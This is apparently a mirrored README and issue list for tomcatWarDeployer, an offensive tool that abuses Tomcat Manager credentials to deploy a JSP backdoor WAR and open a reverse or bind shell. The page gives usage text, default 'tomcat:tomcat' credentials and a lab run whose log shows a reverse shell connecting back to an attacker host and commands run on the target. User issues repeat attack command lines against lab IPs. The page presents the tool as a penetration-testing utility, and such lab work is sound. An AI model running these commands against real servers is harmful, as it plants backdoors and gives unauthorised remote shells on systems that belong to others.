Giter Club home page Giter Club logo

tomcatwardeployer's Introduction

tomcatWarDeployer

Apache Tomcat auto WAR deployment & pwning penetration testing tool.

What is it?

This is a penetration testing tool intended to leverage Apache Tomcat credentials in order to automatically generate and deploy JSP Backdoor, as well as invoke it afterwards and provide nice shell (either via web gui, listening port binded on remote machine or as a reverse tcp payload connecting back to the adversary).

In practice, it generates JSP backdoor WAR package on-the-fly and deploys it at the Apache Tomcat Manager Application, using valid HTTP Authentication credentials that pentester provided (or custom ones, in the end, we all love tomcat:tomcat ).

The tool offers couple of handy features - like manager's panel lookup logic, support for CVE-2007-1860 double encoding issue, CSRF handling in newer Tomcat's.

Usage

As simple as providing server's address with port, as a IP:PORT pair. Here goes the help:

user$ python tomcatWarDeployer.py --help

    tomcatWarDeployer (v. 0.5)
    Apache Tomcat auto WAR deployment & launching tool
    Mariusz Banach / MGeeky '16

Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured.
    
Usage: tomcatWarDeployer.py [options] server

  server    Specifies server address. Please also include port after colon.

Options:
  -h, --help            show this help message and exit

  General options:
    -v, --verbose       Verbose mode.
    -s, --simulate      Simulate breach only, do not perform any offensive
                        actions.
    -G OUTFILE, --generate=OUTFILE
                        Generate JSP backdoor only and put it into specified
                        outfile path then exit. Do not perform any
                        connections, scannings, deployment and so on.
    -U USER, --user=USER
                        Tomcat Manager Web Application HTTP Auth username.
                        Default="tomcat"
    -P PASS, --pass=PASS
                        Tomcat Manager Web Application HTTP Auth password.
                        Default="tomcat"

  Connection options:
    -H RHOST, --host=RHOST
                        Remote host for reverse tcp payload connection. When
                        specified, RPORT must be specified too. Otherwise,
                        bind tcp payload will be deployed listening on 0.0.0.0
    -p PORT, --port=PORT
                        Remote port for the reverse tcp payload when used with
                        RHOST or Local port if no RHOST specified thus acting
                        as a Bind shell endpoint.
    -u URL, --url=URL   Apache Tomcat management console URL. Default:
                        /manager/
    -t TIMEOUT, --timeout=TIMEOUT
                        Speciifed timeout parameter for socket object and
                        other timing holdups. Default: 10

  Payload options:
    -R APPNAME, --remove=APPNAME
                        Remove deployed app with specified name. Can be used
                        for post-assessment cleaning
    -X PASSWORD, --shellpass=PASSWORD
                        Specifies authentication password for uploaded shell,
                        to prevent unauthenticated usage. Default: randomly
                        generated. Specify "None" to leave the shell
                        unauthenticated.
    -T TITLE, --title=TITLE
                        Specifies head>title for uploaded JSP WAR payload.
                        Default: "JSP Application"
    -n APPNAME, --name=APPNAME
                        Specifies JSP application name. Default: "jsp_app"
    -x, --unload        Unload existing JSP Application with the same name.
                        Default: no.
    -C, --noconnect     Do not connect to the spawned shell immediately. By
                        default this program will connect to the spawned
                        shell, specifying this option let's you use other
                        handlers like Metasploit, NetCat and so on.
    -f WARFILE, --file=WARFILE
                        Custom WAR file to deploy. By default the script will
                        generate own WAR file on-the-fly.

And sample usage on Kevgir 1 VM by canyoupwn.me running at 192.168.56.100:8080 :

user$ python tomcatWarDeployer.py -v -x -p 4449 -H 192.168.56.102 192.168.56.100:8080

    tomcatWarDeployer (v. 0.3)
    Apache Tomcat 6/7 auto WAR deployment & launching tool
    Mariusz Banach / MGeeky '16

Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured.
    
INFO: Reverse shell will connect to: 192.168.56.102:4449.
DEBUG: Browsing to "http://192.168.56.100:8080/manager/"... Creds: tomcat:tomcat
DEBUG: Apache Tomcat Manager Application reached & validated.
DEBUG: Generating JSP WAR backdoor code...
DEBUG: Preparing additional code for Reverse TCP shell
DEBUG: Generating temporary structure for jsp_app WAR at: "/tmp/tmpDhzo9I"
DEBUG: Working with Java at version: 1.8.0_60
DEBUG: Generating web.xml with servlet-name: "JSP Application"
DEBUG: Generating WAR file at: "/tmp/jsp_app.war"
DEBUG: added manifest
adding: files/(in = 0) (out= 0)(stored 0%)
adding: files/WEB-INF/(in = 0) (out= 0)(stored 0%)
adding: files/WEB-INF/web.xml(in = 547) (out= 253)(deflated 53%)
adding: files/META-INF/(in = 0) (out= 0)(stored 0%)
adding: files/META-INF/MANIFEST.MF(in = 68) (out= 67)(deflated 1%)
adding: index.jsp(in = 4684) (out= 1595)(deflated 65%)
DEBUG: WAR file structure:
DEBUG: /tmp/tmpDhzo9I
├── files
│   ├── META-INF
│   │   └── MANIFEST.MF
│   └── WEB-INF
│       └── web.xml
└── index.jsp

3 directories, 3 files
WARNING: Application with name: "jsp_app" is already deployed.
DEBUG: Unloading existing one...
DEBUG: Unloading application: "http://192.168.56.100:8080/jsp_app/"
DEBUG: Succeeded.
DEBUG: Deploying application: jsp_app from file: "/tmp/jsp_app.war"
DEBUG: Removing temporary WAR directory: "/tmp/tmpDhzo9I"
DEBUG: Succeeded, invoking it...
DEBUG: Spawned shell handling thread. Awaiting for the event...
DEBUG: Awaiting for reverse-shell handler to set-up
DEBUG: Establishing listener for incoming reverse TCP shell at 192.168.56.102:4449
DEBUG: Socket is binded to local port now, awaiting for clients...
DEBUG: Invoking application at url: "http://192.168.56.100:8080/jsp_app/"
DEBUG: Adding 'X-Pass: oHI9mPB0mOnZ' header for shell functionality authentication.
DEBUG: Incoming client: 192.168.56.100:54251
INFO: JSP Backdoor up & running on http://192.168.56.100:8080/jsp_app/
INFO: Happy pwning. Here take that password for web shell: 'oHI9mPB0mOnZ'
DEBUG: Connected with the shell: tomcat7@canyoupwnme
jh
tomcat7@canyoupwnme $ id
uid=106(tomcat7) gid=114(tomcat7) groups=114(tomcat7)

tomcat7@canyoupwnme $ exit

The program will set-up a local listener for reverse-shell connection on the 192.168.56.102:4449 host (local host) as in the example above. Then, after invoking JSP Backdoor it will automatically connect with the local listener, resulting in shell being popped up. One can also skip -H parameter in order to go with bind shell functionality, whereas rather then setting local listener - the program will go and connect with remotely listening bind-shell. i Finally, the above invocation will result in the following JSP application accessible remotely via WEB:

i JSP backdoor gui

As one can see, there is password needlijked for leveraging deployed backdoor, preventing thus unauthenticated access during conducted assessment.

Summing up, user has spawned WEB application providing WEB backdoor, authenticated via POST 'password' parameter that can be specified by user or randomly generated by the program. Then, the application upon receiving X-Pass header in the invocation phase, spawned reverse connection to our netcat handler. The HTTP header is being requested here in order to prevent user refreshing WEB gui and keep trying to bind or reverse connect. Also this makes use of authentication to reach that code.

That would be all I guess.

TESTED

  • Apache Tomcat/5.5.35
  • Apache Tomcat/6.?
  • Apache Tomcat/7.0.52
  • Apache Tomcat/7.0.56
  • Apache Tomcat/8.0.33

CHANGELOG

  • 19.07.16: Version 0.3: Added bind-shell & Reverse-shell functionality to provide user with direct access to the shell.
  • 12.09.16: Version 0.3.3: Added support for Tomcat 5 interface
  • 21.12.17: Quick fix for the http/https issue and avoiding SSL certificate validation.
  • 04.05.18: Enhanced a bit web interface, added colors to shell prompt and improved support for Windows shell loop.
  • 31.08.18: Added support for CSRF and JSESSIONID handling in Tomcat 7+ versions and for CVE-2007-1860 - you can check how it works automatically out-of-the-box on PentesterLab

TODO

  • Implement bind & reverse tcp payload functionality as well as some pty to interact with it
  • Finish implementing noconnect and connect functionality
  • Implement sort of communication authentication and encryption/encoding, to prevent flow of plain-text data through the wire/ether
  • Test it on tomcat5, tomcat8

☕ Show Support ☕

This and other projects are outcome of sleepless nights and plenty of hard work. If you like what I do and appreciate that I always give back to the community, Consider buying me a coffee (or better a beer) just to say thank you! 💪


Author

   Mariusz Banach / mgeeky, 21
   <mb [at] binary-offensive.com>
   (https://github.com/mgeeky)

tomcatwardeployer's People

Contributors

andreyrainchik avatar comrumino avatar joonaskaskisola avatar mgeeky avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

tomcatwardeployer's Issues

Crash - variable used before assignment

Command: # python tomcatWarDeployer-master/tomcatWarDeployer.py -x http://10.10.10.95:8080 -U tomcat -P s3cret -H LHOST=10.10.15.242 -p 12345

Output:

INFO: Apache Tomcat/7.0.88 Manager Application reached & validated.
INFO: 	At: "http://10.10.10.95:8080/manager"
WARNING: Application with name: "jsp_app" is already deployed.
Traceback (most recent call last):
  File "tomcatWarDeployer-master/tomcatWarDeployer.py", line 1165, in <module>
    main()
  File "tomcatWarDeployer-master/tomcatWarDeployer.py", line 1078, in main
    if unloadApplication(browser, args[0], opts.appname):
  File "tomcatWarDeployer-master/tomcatWarDeployer.py", line 709, in unloadApplication
    browser.form.action = new_action
UnboundLocalError: local variable 'new_action' referenced before assignment

tcpRevershell ESTABLISH failed

i use the tool to test TOMCAT
because my server is in the LAN so i use ngrok to put my server in the internet then i listen 127.0.0.1 with Ncat.
now i can't receive the reverseTCP shell to my server

PS:my english is bad, sorry
here is the ERRORs:
ERROR: Establishing local listener failed.
Error: '[Errno 99] Cannot assign requested address'
ERROR: Could not establish local TCP listener.
ERROR: Could not setup reverse-shell handler.

SyntaxError: multiple exception types must be parenthesized

Hello, when I tried to run your script. It raises errors

If I run with python3

File "/home/kali/Desktop/tomcatWarDeployer/./tomcatWarDeployer.py", line 206
    except socket.error, e:
           ^^^^^^^^^^^^^^^
SyntaxError: multiple exception types must be parenthesized

If I run with python2

Traceback (most recent call last):
  File "tomcatWarDeployer.py", line 40, in <module>
    import mechanize
ImportError: No module named mechanize

How to fix this?

mechnaize

mechanize does not handle non-numeric ports, hence putting the application on a non common http ports (ports outside 80, 8080, 8000) wont allow connection, consider changing the connection script used

Entering wrong credentials leads to AttributeError

If the wrong credentials are supplied through the -U and -P options, the following error results:

Traceback (most recent call last):
File "war.py", line 1054, in
main()
File "war.py", line 953, in main
if checkIsDeployed(browser, url, appname):
File "war.py", line 630, in checkIsDeployed
browser.open(url)
AttributeError: 'int' object has no attribute 'open'

This is because the browseToManager() function returns (403, 403) and the main function doesn't handle this if the -U and -P options are provided.

ERROR: Executing 'where jar' returned: 'Command 'where jar' returned non-zero exit status 127'

Hi,
I cannot get the reverse shell on the target

python2 tomcatWarDeployer.py -U tomcatadm -P 'T0mc@t_s3cret_p@ss!' -H 10.10.14.51 -p 9999 -u /manager/html/ 10.129.89.161:8080

        tomcatWarDeployer (v. 0.5.2)
        Apache Tomcat auto WAR deployment & launching tool
        Mariusz Banach / MGeeky '16-18

Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured.

INFO: Reverse shell will connect to: 10.10.14.51:9999.
INFO: Apache Tomcat/9.0.31 (Ubuntu) Manager Application reached & validated.
INFO:   At: "http://10.129.89.161:8080/manager/html/"
ERROR: Executing 'where jar' returned: 'Command 'where jar' returned non-zero exit status 127'
Traceback (most recent call last):
  File "tomcatWarDeployer.py", line 1224, in <module>
    main()
  File "tomcatWarDeployer.py", line 1102, in main
    code, opts.title, opts.appname)
  File "tomcatWarDeployer.py", line 368, in generateWAR
    raise MissingDependencyError
__main__.MissingDependencyError

How to fix this?
Thanks!

TypeError: cannot use a string pattern on a bytes-like object

I'm getting this error when launching the script (python 2.7 or python 3.9).

Traceback (most recent call last):
  File "/home/XXX/GitHub/tomcatWarDeployer/tomcatWarDeployer.py", line 1224, in <module>
    main()
  File "/home/XXX/GitHub/tomcatWarDeployer/tomcatWarDeployer.py", line 1063, in main
    browser, url = browseToManager(
  File "/home/XXX/GitHub/tomcatWarDeployer/tomcatWarDeployer.py", line 863, in browseToManager
    m = re.search('Apache Tomcat/([^<]+)', data)
  File "/usr/lib/python3.9/re.py", line 201, in search
    return _compile(pattern, flags).search(string)
TypeError: cannot use a string pattern on a bytes-like object

What can I do to solve it ?

ImportError: No module named mechanize

IGOR-3:bin root# python tomcat.py
Traceback (most recent call last):
File "tomcat.py", line 40, in
import mechanize
ImportError: No module named mechanize
IGOR-3:bin root#

License

Hello,

I'd like to add your tool into ArchStrike but your tool doesn't have a license.

Is it possible to add one?

Thanks.

small tutorial please

first thanks for this job , can you please put a small tutorial about this tools i kinda confused a little hh, thanks

Crash when using existing war file

Command: # python tomcatWarDeployer-master/tomcatWarDeployer.py -x http://10.10.10.95:8080 -U tomcat -P s3cret -H LHOST=10.10.15.242 -p 22335 -f foobar_on_fire.war

Output:

        tomcatWarDeployer (v. 0.5)
	Apache Tomcat auto WAR deployment & launching tool
	Mariusz B. / MGeeky '16-18

Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured.
	
INFO: Reverse shell will connect to: LHOST=10.10.15.242:22335.
Traceback (most recent call last):
  File "tomcatWarDeployer-master/tomcatWarDeployer.py", line 1165, in <module>
    main()
  File "tomcatWarDeployer-master/tomcatWarDeployer.py", line 982, in main
    (opts, args) = options()
  File "tomcatWarDeployer-master/tomcatWarDeployer.py", line 965, in options
    if opts.file and not os.path.exists(file):
  File "/usr/lib/python2.7/genericpath.py", line 26, in exists
    os.stat(path)
TypeError: coercing to Unicode: need string or buffer, type found

run time bug

python tomcatWarDeployer.py -u x.x.x.x -p 8080 -U tomcat -P s3cret

    tomcatWarDeployer (v. 0.4)
Apache Tomcat auto WAR deployment & launching tool
Mariusz B. / MGeeky '16-18

Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured.

Traceback (most recent call last):
File "tomcatWarDeployer.py", line 1057, in
main()
File "tomcatWarDeployer.py", line 878, in main
(opts, args) = options()
File "tomcatWarDeployer.py", line 841, in options
host = extractHostAddress(args[0], opts.url)
IndexError: list index out of range

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.